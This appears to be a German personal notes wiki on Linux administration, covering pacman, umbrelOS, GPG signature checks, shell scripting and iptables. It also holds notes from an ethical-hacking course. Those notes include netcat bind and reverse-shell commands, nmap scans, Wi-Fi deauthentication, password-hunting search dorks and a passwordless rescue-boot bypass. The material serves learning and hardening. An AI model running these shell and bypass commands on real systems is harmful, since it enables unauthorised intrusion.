eine Aktualisierung des kompletten Systems durchgeführt werden. Vor dem gleichen Hintergund sollte man auch bei Ausnahmen unter IgnorePkg
und IgnoreGroup
sehr umsichtig verfahren (s. Konfiguration).
Pakete, die nicht aus den offiziellen Repositorien installiert worden sind (z.B. aus dem AUR) und sich auf Bibliotheken aus den Repos beziehen, müssen im Falle einer Änderung von so
-Namen (z.B. libfoo.so.1
→ libfoo.so.1.2
) auf Anwenderseite neu gebaut werden.
Hinweis: Probleme, die auf Versionsunterschiede von Programmbibliotheken zurückzuführen sind, sollte man nicht durch „Symlinking“ verschlimmbessern. In der Regel lassen sich solche Probleme mit einem 'pacman -Syu
' beheben.
Graphische Oberflächen
Pacman wurde als reines CLI-Programm konzipiert, und greift grundsätzlich nur auf installierbare Pakete aus den offiziellen Repositorien zurück, nicht aber auf Skripte (PKGBUILDs) aus dem AUR. Rund herum enstanden jedoch im Laufe der Jahre zahlreiche Wrapper, GUIs, oder Programme, die Dateien aus den offiziellen Repositorien und dem AUR gleichzeitig aktualisieren können. Diese sind im Artikel Graphische Paketmanager ausführlich beschrieben. Die dort gesetzten Warn-Hinweise sollten unbedingt beachtet werden.
Hilfe
Keine Verbindung zu einem Mirror
Aufgrund einer langsamen Internetverbindung oder nicht optimaler Pacman-Konfiguration kann es vorkommen, dass der Verbindungsaufbau zu einem Spiegelserver zu lange dauert und es so zu einem Timeout kommt. Um dieses Problem zu beheben, kann man – wie im Abschnitt Optimale Spiegelserver beschrieben – den schnellsten Server suchen und verwenden. Sollte auch das nicht zu gewünschtem Erfolg führen, kann versucht werden, einen alternativen Downloader einzusetzen. Dazu muss man die Datei
/etc/pacman.conf
bearbeiten und einen der beiden Einträge durch Entfernen der Raute #
auskommentieren:
#XferCommand = /usr/bin/{{Paket|curl}} -C - -f %u > %o #XferCommand = /usr/bin/{{Paket|wget}} --passive-ftp -c -O %o %u
Bandbreite beschränken
Um die Download-Bandbreite zu beschränken, kann in in der Konfigurationsdatei /etc/pacman.conf
innerhalb der Zeile …
XferCommand = /usr/bin/wget --passive-ftp -c -O %o %u
… dem wget-Befehl die entsprechende Option hinzugefügt werden:
XferCommand = /usr/bin/wget --passive-ftp --limit-rate=40k -c -O %o %u
Pacman aus Versehen deinstalliert
Wie kann Pacman wiederhergestellt werden, wenn es aus Versehen deinstalliert wurde?
- Manuelle Variante
cd / bsdtar -x -f /var/cache/pacman/pkg/pacman-*.pkg.tar.zst
Das Sternchen(*) entspricht dem Paket mit der höchsten Versionsnummer, welches hoffentlich noch im o.g. Verzeichnis vorhanden ist. Danach Pacman mittels des „neuen“ Pacman wieder installieren, damit der Datenbankeintrag für Pacman selbst wieder angelegt wird.
pacman -S pacman
- Per Installationsmedium
Vom Installationsmedium booten und die deutsche Tastaturbelegung loadkeys de
wählen. Anschließend Partitionen einhängen: Die Root-Partition nach /mnt
einhängen (Verzeichnis /etc
sollte darin enthalten sein) Für weitere Partitionen unterhalb /mnt
Ordner anlegen und entsprechend einhängen (bspw. /mnt/usr
). Eine Neuinstallation von Pacman kann nun mit diesem Befehl erfolgen:
pacstrap /mnt pacman
linkedin Learning Linux Systemarchitektur
Hardware auflisten
lspci # ls = listen
lsusb # listet alle USB-Schnittstellen auf
lsblk # listet Festplatten auf
lscpu # Listet du CPU auf
lsmod # Welche module wurden geladen.
in | less > / SATA kann nach SATA suchen
DF
df # Diskfree gibt das dateisystem wieder
df -hT # Anzeige in Humanreadable und T für Dateisystem
Betriebssystem
uname -r
uname -a
hostnamectl # Kompakte Angabe
Prozesse
cd /proc/sys/kernel
cat osrelease # Kernelversion
cat ostyp # Ostype anzeigen
cat hostname
proc ist nur im Arbeitsspeicher
/sys
hier werden Treibermodelle gespeichert
Gerätemanager
/dev
hier werden geräte aufgelistet unter anderem zum Beispiel die Festplatten mit sda.
sr0 wäre ein CD oder DVD Laufwerk
Benutzer und Gruppen in Linux
Benutzer ganz einfach über Desktop anlegen
Gruppen
sudo su
groupadd family
usermod -aG family ernie
usermod -aG family bert
usermod -ag family tiffy
mkdir /home/family
chown ernie:family /home/family
chmod u=rwx,g=rwxs,o=/home/family # Das s bei den Gruppenberechtigungen setzt alle neuen Dateien und Ordner auf berechtigung s = SGID (Set-Group-ID-Bit)
Alle Gruppen anzeigen
cat /etc/group
Linux härten
LinkedIn Learning Kurs
Grundlagen der Härtung
nicht härtbare System müsten in ein separates Netzwerk verschoben werden.
Angriffspunkte
Startvorgang
Boot-CD
Über Boot-CD in Troubleshooting wechseln > Continiu.
Danach ist man als root angemeldet
mit df -h laufwerke anzeigen lassen.
Unter /dev/mapper/centos-root kann man schauen wo das System gemountet ist. /mnt/sysimage
nano /lib/systemd/system/rescue.service
# Datei anpassen
ExecStart= sulogin in sushell ändern
Schon kann man sich in das System ohne Passwort einloggen.
# Bootprozess unterbrechen und mit e editieren
# in der Zeile mit linux16... zu swap rhgb quiet navigieren und dort rhgb durch rescue ersetzen
Single-User-Mode
# Die Shadowdatei: /etc/shadow
# Startprozesse bei Ubuntu Startvorgang mit esc unterbrechen
Mit e anpassen
unter Linux ro durch rescue aufrufen
Verhindern
cd /etc/grub.d
vim 40_custom
# Hinzufügen
set superusers="admin"
password admin password # Setzt das passwort auf password
Das passwort wird nicht verschlüsselt abgespeichert
Konfiguragationsdatei anpassen
grub2-mkconfig -o /boot/grub2/grub.cfg
Dadurch muss man zum editieren der Startdatei ein Passwort eingegeben werden.
# Entfernen des Passworts
Mit Boot-CD kann man das entfernen
Benutzer
Umbrel
Install umbrelOS on a Raspberry Pi 5
Note
umbrelOS is designed for the Umbrel Home. Support for other devices is best-effort and not guaranteed. Some features like external storage support and Migration Assistant are not available - see our feature comparison for more details.
umbrelOS can be installed on a Raspberry Pi 5 in a number of configurations. The two most common are:
Installing umbrelOS on the NVMe or USB drive
In this configuration, you will install umbrelOS directly on an NVMe drive or USB drive, which will be automatically partitioned to store umbrelOS and your data.
Note
Booting from NVMe or USB instead of a microSD card is only supported on Raspberry Pi 5 for umbrelOS 1.2.0 and later. Booting from NVMe or USB is not supported on Raspberry Pi 4. Additionally, certain NVMe drives may not be compatible with specific NVMe HATs. It is crucial to check the compatibility of your NVMe drive with the HAT you are using before proceeding. HAT manufacturers typically provide lists of compatible drives and known quality issues on their websites. Using a drive not on the compatible list may result in instability or failure to boot. Also, make sure to check the quality of your NVMe SSD, as some drives are of poor quality or have reported issues that could affect performance and reliability.
What you will need
Steps
Tip
If you have an early Raspberry Pi 5 model, you may need to update the bootloader firmware in order to be able to boot from NVMe. If this is the case, please follow the official Raspberry Pi documentation on how to update the bootloader firmware: https://www.raspberrypi.com/documentation/computers/raspberry-pi.html#bootloader_update_stable
Warning
The boot order on your Raspberry Pi 5 is set to boot from a microSD card preferentially before booting from NVMe or USB. Make sure that you do not have a bootable microSD card inserted when booting from NVMe or USB. If you have a microSD card inserted, the Raspberry Pi 5 will boot from the microSD card instead of the NVMe or USB drive.
Installing umbrelOS on a microSD card and using an external SSD for storage
Warning
Installing umbrelOS on a microSD card is not recommended primarily because microSD cards have a limited number of write cycles. Over time, frequent read and write operations can cause the microSD card to wear out and fail, leading to system instability, data corruption, and potential data loss. Also, microSD cards generally offer lower performance and durability compared to NVMe or USB drives, which are better suited for the continuous operation required by umbrelOS. For a more reliable and long-lasting setup, it is advisable to boot from NVMe or USB storage.
In this configuration, you will install umbrelOS on a microSD card and then use a separate external SSD to store your data.
What you will need
Steps
Installieren von Apps über Comandline
3.1 Test using an umbrelOS development environment on your local machine
The umbrelOS development environment (umbrel-dev) requires a Docker environment that exposes container IPs to the host. This is how Docker natively works on Linux and can be done with OrbStack on macOS and WSL 2 on Windows.
1. Install OrbStack on macOS or WSL 2 with Docker Desktop on Windows.
2. Clone the getumbrel/umbrel repo.
From the root of the cloned repo, run the following command to view the available umbrel-dev commands:
npm run dev help
To start the development environment, run the following command:
npm run dev
Note
If this is your first time running the development environment, it may take a while to build the OS image locally on your machine.
Once initialized, umbrelOS will be accessible at http://umbrel-dev.local.
3. Copy the app's directory (with any .gitkeep files excluded) to the app-store directory on umbrel-dev.
To do this, we run the following command on our local machine:
rsync -av --exclude=".gitkeep" <path-to-your-forked-repo-on-local-machine>/btc-rpc-explorer umbrel@umbrel-dev.local:/home/umbrel/umbrel/app-stores/getumbrel-umbrel-apps-github-53f74447/
If you are asked for a password during the transfer, use the password that you set when you created your umbrelOS account.
4. Install the app.
From the umbrelOS homescreen, go to the App Store and navigate to BTC RPC Explorer. Click on the "Install" button and wait for the app to install.
You can also install the app from the command line. umbrelOS provides a web terminal that can be accessed via Settings > Advanced Settings > Terminal > umbrelOS, or you can use the umbrel-dev scripts to install the app using the umbreld RPC server:
npm run dev client -- apps.install.mutate -- --appId btc-rpc-explorer
umbreld client apps.uninstall.mutate --appId plex # zum installeren auf dem Umbrel
That's it! Our BTC RPC Explorer app should now be accessible at http://umbrel-dev.local:3002
To uninstall the app, you can right-click on the app's icon on your homescreen and click on the "Uninstall" button. You can also uninstall the app using the umbrel-dev scripts:
npm run dev client -- apps.uninstall.mutate -- --appId btc-rpc-explorer
Veraltet und wohl aus früheren Versionen
Can you try again to install manually:
~/umbrel/scripts/app uninstall tailscale
Then
~/umbrel/scripts/app install tailscale
You can replace the name of the app as it's listed here: https://github.com/getumbrel/umbrel-apps/tree/master
Let me know if any issue
GPG-Signaturen überprüfen
Eigentlich sollte man niemals Dateien aus dem Internet herunterladen und einfach auf dem eigenen Computer installieren. Linux-Nutzer*innen sollten immer die Paketverwaltung ihres Betriebssystems benutzen, die sicherstellt dass die installierten Pakete vertrauenswürdig sind.
Manchmal ist das aber nicht möglich, zum Beispiel wenn man Windows verwendet. Besonders für sicherheitskritische Software, wie den Tor Browser oder die Passwortverwaltung KeePassXC ist es üblich, die Installations-Datei mit einer digitalen Signatur zu versehen. Dadurch können andere überprüfen, ob die Datei die sie heruntergeladen haben auch tatsächlich der*dem Entwickler*in der Software stammt und keien Schadsoftware beinhaltet.
1. Schritt: Datei und Signatur besorgen
Lade zunächst Datei und Signatur herunter und speichere sie im selben Verzeichnis ab. Eine Signatur-Datei hat immer denselben Namen wie die ursprüngliche Datei mit dem Zusatz „.sig“ oder „.gpg“. Die Signatur-Datei zu einer Datei namens Tor_Browser.exe heißt dann etwa Tor_Browser.exe.sig
2. Schritt: Signatur überprüfen
2.1 Überprüfung mit grafischer Oberfläche
Es gibt für GnuPG verschiedene grafische Frontends, die es dir ersparen Befehle ins Terminal einzugeben.
Windows
Bei der Installation von GPG4Win wirst du gefragt, ob du Kleopatra oder GnuPrivacyAssistend als grafische Oberfläche mitinstallieren möchtest. Kleopatra ist wesentlich benutzer*innenfreundlicher und erweitert das Kontext-Menü (Rechtsklick-Menü) deines Dateibrowsers um die wichtigsten GPG-Funktionen.
Du kannst nun einfach das Verzeichnis öffnen, die Signatur-Datei mit Rechtsklick auswählen und „Entschlüsseln/Überprüfen“ auswählen.
Weiter unter Schritt 3.
Linux
Linux kannst du Kleopatra oder Seahorse verwenden.
Kleopatra
-
integriert sich sehr gut in Kubuntu und andere KDE Desktops.
-
installiere dafür das Paket
kleopatra
Seahorse
-
integriert sich sehr gut in die Desktop-Umgebungen GNOME (dem Standard-Desktop von Ubuntu), MATE und Cinnamon.
-
Installiere dafür Paket
Seahorse
und die zugehörige Erweiterung für deinen Filebrowser,seahorse-nautilus
(GNOME),nemo-seahorse
(Cinnamon)caja-seahorse
(MATE)
Nachdem du das passende Programm installiert hast, kannst du das Verzeichnis öffnen in dem die Dateien liegen und mit Rechtsklick auf die Signatur-Datei die Signatur überprüfen.
Weiter unter Schritt 3.
MacOs
Bei der Installation der GPG-Suite wird eine grafisches Oberfläche mitinstalliert. Du kannst im Filebrowser die Signatur-Datei im Kontext-Menü (Rechtsklick) auswählen und die Signatur überprüfen.
Weiter unter Schritt 3.
2.2 Überprüfung mit Terminal
Öffne das Terminal und bewege dich mit cd in das Verzeichnis, in dem die Datei lieg die du überprüfen willst.
cd /Pfad/zur/Datei/
Mit ls kannst du überprüfen, welche Dateien im Verzeichnis liegen (und wie genau sie heißen)
ls
Der Output des Terminals könnte nun sein: Dateiname.exe Dateiname.exe.sig
Jetzt kannst du die Dateien mit GnuPG (gpg) überprüfen. Der kurze Befehl dafür ist gpg –verify
. Weil gpg aber den öffentlichen Schlüssel der Unterzeichnerin benötigt, würde es eine Fehlermeldung herausgeben dass es den öffentlichen Schlüssel nicht auf deinem Computer gefunden hat. Als zusätzliche Option kannst du deswegen –auto-key-retrieve angeben. Dadurch wird gpg die Identität der Unterzeichnerin aus der Signatur ablesen, deren Öffentlichen Schlüssel herunterladen und die Dateien überprüfen. Wichtig ist nur, dass im Anschluss daran erst die Signatur, und danach die Datei selber angegeben werden:
gpg --verify --auto-key-retrieve Dateiname.exe.sig Dateiname.exe
3. Schritt: Fingerprint überprüfen
Die Antwort von GPG sollte etwa so aussehen:
gpg: Good signature from "Irgendeine Identität <user@mail.org>" gpg: WARNING: This key is not certified with a trusted signature! gpg: There is no indication that the signature belongs to the owner. Primary key fingerprint: AAAA BBBB CCCC DDDD EEEE FFFF GGGG HHHH IIII
Wichtig ist der Teil Good signature from…
Die Warnung kannst du ignorieren, das bedeuet nur das der Öffentliche Key bisher nicht von dir als vertrauenswürdig signiert wurde.
Aber ob diese Person auch wirklich die richtige ist, musst du selber herausfinden.Dazu schaust du auf der Webseite dieser Person nach, ob der Fingerprint AAAA BBBB CCCC DDDD EEEE FFFF GGGG HHHH IIII
auch tatsächlich ihr gehört. Wenn es sich um Software handelt Du kannst den Fingerprint auch in verschiedene Suchmaschinen tippen, und gucken ob es vertrauenswürdige Seiten gibt die diesen Fingerprint mit derjenigen Person assoziieren.
Chat-GPT in der Konsole
ShellGPT installieren
# wenn Python nicht installiert ist
sudo apt install python3
sudo apt install python3-pip
sudo apt install python3-venv
# Ordner für Shellgpt anlegen
mkdir shellgpt
cd shellgpt
# Virtuelle umgebung für Shellgpt
python3 -m venv shellgpt
# Starten mit
source shellgpt/bin/activate
# API Key von OPENAI eintragen
export OPENAI_API_KEY=*schlüssel*
pip3 install shell-gpt
Damit der Schlüssel dauerhauft gespeiert ist, muss dieser in die ~/.bashrc datei eingetragen werden
nano ~/.bashrc
Ganz unten hinzufügen
export OPENAI_API_KEY=*schlüssel*
Hacking Akademie
Kali auf deutsch
sudo dpkg-reconfigure locales
Wichtige Linux-Befehle
mkdir /home/kali/bin |
Den Bin Ordner in Home erstellen |
nano script.sh |
Skript erstenn |
chmod +x script.sh |
Skripte ausführbar machen |
mv |
move oder umbenennen |
cp |
kopieren |
grep "kali" /etc/passwd |
Datei untersuchen |
ip a |
ip-Adresse anzeigen |
netstat -nr |
Routing-Tabelle anzeigen |
netstat -tlpn |
Zeigt an welche ports offen sind Offene Ports |
script.sh
#!/bin/sh
echo "Hallo Welt"
Dienste starten, stoppen und prüfen
dienste = deamons
ps -ef
Anzeigen von Diensten/etc/init.d
Hier sind die Scripte hinterlegt um Dienste zu starten systemctl status apache2
überprüft ob der Dienst läuftSystemctl start apache2
starte den Dienst ss -tlpn
Zeigt Ports an, die an Dienste gebunden sind
Defense
IDS Intrusion detection system
Erkennen von Ungewünschten oder unbekannten Datenverkehr
IPS Intrusion Prevention Systeme
Sind inline und schützen das Netzwerk
Tools
Netdiscover
sudo netdiscover | Private Netzwerke scannen |
sudo netdiscover -r 10.10.1.0/24 | Zum scannen eines bestimmten Bereichs |
Härten
- Software wird auf dem aktuellen Stand gehalten
- Unsicher Software wird nicht verwendet
- Nicht erforderliche Dienste werden deaktiviert oder deinstalliert
- Aktive Dienste werden in sicheren Umgebungen betrieben
- Nor die notwendigen Konten erhalten Administrator-Privilegien
- Alle nicht benötigten Benutzerkonten werden gelöscht oder deaktiviert
- Berechtigungen und Rechte werden restriktiv gesetzt
Netzwerk
Wireshark
Mitschnittfilter
Um die Dateigröße des Mitschnitts zu redizuieren kann man den Filter anlegen.
icmp | icmp |
icmp and host 10.10.30.13 | |
scr host 192.168.1.254 and tcp port 80 | beschränkt auf source host und port 80 |
Anzeigefilter
tcp.port == 443 | |
ip.addr == 192.168.1.1 | |
not arp and not tls | |
tcp.flags.reset == set | |
ip.src == 192.168.1.1 and dns.qry.name == "consent.google.com" |
Hackingtools
Nmap
Die Suche im Netzwerk
nmap -sP -n 10.1.2.0/24
Arp-Scan
Synscan kann eine Firewall umgehen, die den Ping blockiert.
nmap -sS -n 10.1.2.10
sudo nmap -sV -O -T4 172.16.1.4
nmap -sn 10.10.0.0/27 | Ping-Scan |
nmap 10.10.0.0/27 | Normaler nmap scan |
nmap -sS 10.10.1.10 | Half open scan benötigt Root |
nmap -sU 10.10.1.10 -p 53 | UDP Scan auf port 53 |
nmap 10.10.1.10 --top-ports 15 | Scannt die 15 häufigsten ports |
Version und OS Detection |
|
nmap -sV 10.10.1.10 | V ist die Versionserkennung |
nmap -O 10.10.1.10 -v | OS Detection |
nmap -A 10.10.1.10 -v | -A ist die Rundumglückich option |
NSE | Nmap Skript Engine |
/usr/share/nmap/scripts | |
nmap --script-help http-config-backup | Hilfe zum Skript |
-oN / -oG filename.txt | Ausgabe in einer datei in einem Bestimmten Format |
nmap -A -oG ausgabe.nmap 10.10.1.10 |
Netcat
nc -v -z 192.168.1.254 80 |
Portscan auf port 80 |
nc -lnvp 4444 |
Listening Port auf Port 4444 eröffnen |
nc 172.16.1.133 4444 |
Zu dem Server mit Listening verbindung aufbauen |
nc -nlvp 4444 > incoming.txt |
Eingang in eine Datei umleiten |
nc -nlvp 4444 > wget |
Dateien übertragen (empfang) |
nc 10.10.0.5 4444 < /usr/share/windows-resources/binaries/wget.exe |
Datei senden |
tcpdump host 10.10.0.5 | Anzeigen von datenübertragungen |
nc -nlvp 4444 -e /bin/bash | Die bash an den Port binden. Somit hat man eine Bind schell erstellt |
Reverse Shell |
|
nc -nlvp 443 | Beim Angreifer einen Listener erstellen |
nc 10.10.0.4 443 -e /bin/bash | Baut eine Shell beim angreifer auf (windows -e cmd.exe) |
Vulnerability-Scanner Nessus
Wlan Hacking
iwconfig
listet sämtliche Wlan adapter auf.
Mode:
Managed
ist der Standard. Will man den Wlan Traffic mitschneiden muss man in den monitor
mode wechslen
ifconfig wlan0 down
- Deaktiveren der Schnittstelleiwconfig wlan0 mode monitor
- Wlan0 auf Monitor Mode umstellen- Sollte der Adapter von einem anderen Gerät verwendet werden kann man mit
airmon-ng check kill
prüfen # ifconfig wlan0 up
- Ativiert die Schnittstelle wieder
WLAN Sniffing
Befindet sich der Wlan-Adapter im Monitor mode kann mit airodump-ng wlan0
die Liste der Verfügbaren Netzwerke angezeigt werden.
Gibst du keine weiteren Parameter an, wird nur das 2,4 GHz Band betrachtet. Ergänzt du den Parameter –band a, so arbeitet airodump-ng auf dem 5 GHz Band.
Im unteren Abschnitt werden identifizierte WLAN-Knoten (Stations) angezeigt. Die Liste zeigt neben der zugeordneten BSSID die MAC-Adresse der Station, die Funksignalstärke und andere Daten.

Im nächsten Schritt möchten wir einen einzelnen Access Point (BSS) mit den darin befindlichen Stationen anzeigen lassen und den Mittschnitt parallel in eine Datei schreiben. Dazu gibst du die BSSID des Senders, den Kanal und eine Ausgabedatei als zusätzliche Parameter mit an:
airodump-ng –bssid <BSSID> –channel <Nr> –write <Datei> wlan0mon
Wie die nachfolgende Abbildung zeigt, werden parallel zur Live-Ansicht im Terminal diverse Dateien mit dem Mitschnitt angelegt.

Deauthentication-Paket senden
Natürlich hilft uns hierbei wieder ein Tool, sodass wir diesen Vorgang nicht manuell durchführen müssen. An dieser Stelle bringen wir aireplay-ng aus der bereits bekannten Aircrack-Suite ins Spiel. Geht es darum, Pakete zu generieren um diese einem WLAN zu injizieren dann ist aireplay-ng das Tool der Wahl. Mit der Option –deauth führen wir einen Deauthentication-Angriff durch. Sie benötigt die Angabe der Anzahl an Paketen, die gesendet werden sollen. Mit -a geben wir die BSSID an und die Option -c legt die MAC-Adresse des Opfers fest.
Wird der Befehl ausgeführt, beginnt aireplay-ng die Deauthentication-Pakete zu senden.

Tor Browser
Die Phasen des Hacking
Reconnaissance (Informationsbeschaffung)
- Passive Discovery:
- Suchmaschinen
- Analyse der Website
- Social Media-Analyse
- Active Discovery
- Port Scanning
- Vulnerability Scanning
- Enumeration
Passive Discovery
- Suchmaschinen
- WHOIS
- DNS-Footprinting
- Website-Analyse
- E-Mail-Footprinting
- Social Media-Analyse
Active Discovery
Netcraft
https://searchdns.netcraft.com/
Wayback Machine
Shodan
Google Suche
allintext:username password filetype:log
In Domains suchen
site:hacking-akademie.de intext:password
Recon-NG
Zunächst Workspace erstellen
workspaces create kfz-liebl.com
Marketplace zum installieren von Modulen
marketplace refresh
marketplace info all
alle anschauen lassen
marketplace search
verkürzte Form
marketplace search whois
marketplace info recon/domains-contacts/whois-pocs
Modul info anzeigen lassen
marketplace install recon/domains-contacts/whois_pocs
Modul installieren
moduls load recon/domanis-contacts/whois_pocs
Modul akivieren
info
Zeigt dann die Informationen zum Modul an
options set SOURCE kfz-liebl.com
run
startet das Modul
Interesante Module
discovery/.../Intresting_files
Content Discovery
System Hacking
Linux-Skills
Rechtewerweiterung Privilige-Escalation
file .pwsec - gibt den Dateityp an
man -k passord - Manpages durchsuchen nach einem bestimmten Wort
Dateien Finden
echo $PATH
Zeigt an wo befehle gesucht werden
locate password
find /home/nina -name *password* 2>/dev/null
ls -ld /home/nina/daten
zeigt das Verzeichnis an
find /home/nina -name password -type f -user max
find /home/max ! -user max
Um dateien zu finden die nicht Max gehören
grep password datei1.txt
grep -i password datei1.txt Datei2.txt
mit -i ignorieren wir die groß und kleinschreibung
grep -i password ~/*
Druchsucht das Homeverzeichnis
grep -i password * .\*
Versteckte dateien durchsuchen (ohne backslash, machts sonst kursiv)
grep -ir password Projektdaten/* Projektdaten/.*
Rekursiv suchen
Dateimanipulation und -anlayse
cut
cut -f 1 -d ":"
Mit cut kann man Ausgaben zerteilen. F gibt dabei das feld an und -d den delimiter
Beispiel: cat /etc/passwd | cat -f 1 -d ":"
Beispiel: cat /etc/passwd | cat -f 1,7 -d ":" | grep -v nologin
mit -v kann man sachen ausblenden, die man nicht sehen will
Sort
sort
- Sortiert die Ausgabe nach dem Alphabet
Beispiele: sort -r -u
Sortierung umkehren mit -r und auf unique mit -u damit werden doppelte Einträge aussortiert
uniq
Zählen von Einträgen
sort log | uniq -c
sed
Streaming-Editor
sed -i "s/bash/zsh" passwd
: s = ersetzen, /bash = danach wird gesucht, /zsh = dadurch wird das nachdem gesucht wird ersetzt
sed /^bob:/d passwd
löscht die Zeile mit Bob
Shellskripte
Standard Verzeichnis für Skripte ist /home/user/bin
Skripte in dem Verzeichnis können direkt aufgerufen werden, wenn der Ordner in echo $PATH angezeigt wird. Ist dies nicht der Fall, dann kann der in .bashrc oder vergleichbaren Dateien der genutzten Shell hinterlegt werden.
Variablen
#!/bin/bash
#Definition einer Variablen
ALTER=25
# Diese Ausgabe vunktioniert nicht.
echo "Dies ist ihr $ALTERster Geburtstag"
# Diese Ausgabe funktioniert.
echo "Dies ist ihr ${ALTER}ster Geburtstag"
# Einfache Hochkomma ' funktionieren anders als "
# Variablenausgabe
VAR1="Script"
VAR2="ing"
echo $VAR1$VAR2
#!/bin/bash
var1="Hallo Welt"
# Variablen dürfen nicht mit einer Zahl beginnen und Außer _ keine Sonderzeichen
# Keine Leerzeichen zwischen Name und = und Wert
# Variable ausgeben
echo $var1
# Variable in Text einbinden
echo "Der Wert der Variablen var1 lautet:" $var1". Mehr nicht"
Vordefinierte Variablen
# Die User-ID auslesen
echo "Deine User-ID ist: " $UID
Weitere können über die Man-Page von shell gefunden werden.
IF THEN ELSE
# test
test -d /etc && echo "Verzeichnis" # Prüft ob /etc ein Verzeichnis ist und gibt Verzeichnis aus
test -f /etc && echo "Verzeichnis" || echo "Datei" #Prüft ob /etc eine Datei ist und gibt Datei aus
# If in der Shell
if test -d /etc
then
echo "Verzeichnis"
fi
# In einem Script
#!/bin/bash
# Wir testen eine Bedingung
OBJEKT="/etc"
if test -d $OBJEKT
then
echo "Bei $OBJEKT handelt es sich um ein Verzeichnis"
elif test -f $OBJEKT
then
echo "Bei $OBJEKT handelt es sich um eine Datei"
else
echo "Bei $OBJEKT handelt es sich weder um eine Datei noch um ein Verzeichnis"
fi
Mit [[ ]] kann man Test ersetzen. Ist die gängigere Konvention.
# Root oder nicht root?
if [[ $UID -eq 0 ]]
then
echo "Das Skript wird mit Root-Rechten ausgeführt"
else
echo "Das wird nicht mit Root-Rechten ausgeführt"
fi
# Mehrer Bedingungen
if [[ -d /etc && -e ~/bin/bedingugnen.sh ]] # Testet ob /etc ein Verzeichnis ist und bedingungen.sh existiert.
if [[ -d /etc && ! -e ~/bin/bedingugnen.sh ]] # NICHT mit !
Error Handling
# Fehler liefern einen Wert > 0 in der Variablen ?
# Exit Status oder Rückgabewert kann in der Man Page nachgelesen werden.
#!/bin/bash
#Root oder nicht root?
TEST_USER="root"
ACTIVE_USER=$(id -un)
if [[ "$ACTIVE_USER" != "$TEST_USER" ]]; then
echo "Der aufrufende User ist nicht $TEST_USER"
exit 10
fi
echo "Das Skript wurde ordnungsgemäß ausgeführt!"
exit 0
Beispiele
Befehlssubstitution
# Befehle direkt Verwenden
echo $(id - nu) # gibt den User direkt aus
Windows Programm in Kali
Network Hacking
Bind Shell
Reverse-Shell
Blueteam
Firewall iptables
Regeln anzeigen: iptables -L
mehr Details: iptables -nvL
Regeln anlegen
iptables -A INPUT -p icmp -j DROP |
Hängt mit -A eine neue Regel an. -p gibt das Protokoll wieder. und DROP sagt das die Verbindung unterbunden werden soll |
iptables -A INPUT -s 192.168.1.150 -p tcp --dprot 22 -j DROP |
-s = Source --dport = Destination Port |
iptables -I INPUT -p tcp --dport 80 DROP |
Hängt die Regel vorne dran (Regeln die vorne sind, werden als erstes bearbeitet. Spezifische Regeln müssen immer weiter oben stehen) |
iptables -D INPUT 5 |
Löscht die 5. Regel |
iptables -I INPUT 2 -p tcp --dport 22 -j ACCEPT |
Input auf Position 2 |
Diese Regeln werden nur Temporär erstellt.
Regeln mit einem Skript erstellen
#!/bin/bash
# Regelwerk zurücksetzen
iptables -F
iptables -t nat -F
iptables -t mangle -F
iptables -t raw -F
iptables -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
# Bespielregeln
iptables -A INPUT -p icmp -j DROP
iptables -A INPUT -p tcp --dport 80 -j DROP
in Debian bei Start das Skript ausführen
apt install iptables-persistant
iptables-save
iptables-restore
Qemu Agent installieren
Damit Viruelle Maschinen den Qemu Agent unterstützen, muss dieser installiert werden:
sudo apt install qemu-guest-agent
Linux geheimnisse
Desktop
Restriktiv mit xsessionrc
Mit der Datei: /home/sepp/.xsessionrc kann man zum beispiel den Firefox starten und wenn dieser geschlossen wird, dann meldet sich der User wieder ab.
#!/bin/bash
firefox https://duckduckgo.com
exit
OpenVPN
Mit OpenVPN Verbindugen herstellen
Wenn nicht installiert: sudo apt install openvpn
Datei zum verbinden besorgen
Verbindung aufbauen:
sudo openvpn /pfad/zur/datei/config.ovpn
Verbindung trennen:
sudo systemctl stop openvpn@config.ovpn
Autostart in Linux
Autostart nach dem Anmelden für einen Benutzer
Datei erstellen in
~/.config/autostart/meins_skript.desktop
um Firefox im Kioskmodus zu starten würde der Inhalt wie folgt aussehen:
[Desktop Entry]
Name=Nextcloud
GenericName=File Synchronizer
Exec="/usr/bin/firefox" --kiosk https://duckduckgo.com
Terminal=false
Icon=Nextcloud
Categories=Network
Type=Application
StartupNotify=false
X-GNOME-Autostart-enabled=true
X-GNOME-Autostart-Delay=10
Skript starten
-
Öffne einen Datei-Explorer und navigiere zu
~/.config/autostart
. Wenn der Ordnerautostart
nicht vorhanden ist, kannst du ihn erstellen. -
Innerhalb des
autostart
-Ordners kannst du ein neues Desktop-Eintrag-Datei erstellen. Verwende dafür einen Texteditor wie Nano oder Vim. Zum Beispiel:
nano mein_skript.desktop
- Füge den folgenden Inhalt in die Datei
mein_skript.desktop
ein:
[Desktop Entry]
Name=Test
Exec=/usr/bin/meinstart.sh
Terminal=false
Icon=VLC
Categories=Network
Type=Application
StartupNotify=true
X-GNOME-Autostart-enabled=true
X-GNOME-Autostart-Delay=10
Stelle sicher, dass du den richtigen Pfad zum Skript in der Exec
-Zeile angibst. Du kannst auch den Namen und eine Beschreibung deines Skripts anpassen.
-
Speichere die Datei und schließe den Texteditor.
-
Starte deinen Computer neu oder melde dich ab und dann wieder an. Das Skript sollte automatisch starten, wenn du dich im Cinnamon-Desktop anmeldest.
Diese Methode ermöglicht es, das Skript nur für deinen Benutzer zu starten. Wenn du möchtest, dass das Skript für alle Benutzer beim Anmelden in Cinnamon ausgeführt wird, kannst du die Datei /etc/xdg/autostart/mein_skript.desktop
erstellen und den obigen Inhalt in diese Datei einfügen.
Das Skript das startet sollte dann so aussehen um ein neues Terminal Fenster zu starten:
#!/bin/bash
gnome-terminal -- bash -c "/usr/bin/nachricht.sh; exec bash"
Auf dem Raspberry
Beim Raspberry gibt es ein anderes Terminal:
#!/bin/bash
lxterminal -e "/pfad/zu/deinem/script.sh"
AutoLogin
Um einen User automatisch beim Start anzumelden in die Datei /etc/sddm.conf den Usernamen hinterlegen.
Hier im KDE Plasma
[Autologin]
User=Username
Session=plasma.desktop
XFCE Desktop
Editiere die Datei sudo nano /etc/lightdm/lightdm.conf
[Seat:Default]
autologin-user=Username # Einkommentieren
Ordner verschlüsseln
Um einen Ordner in Linux zu verschlüsseln, kannst du das Programm "encfs" verwenden. Hier ist eine Schritt-für-Schritt-Anleitung, wie du vorgehen kannst:
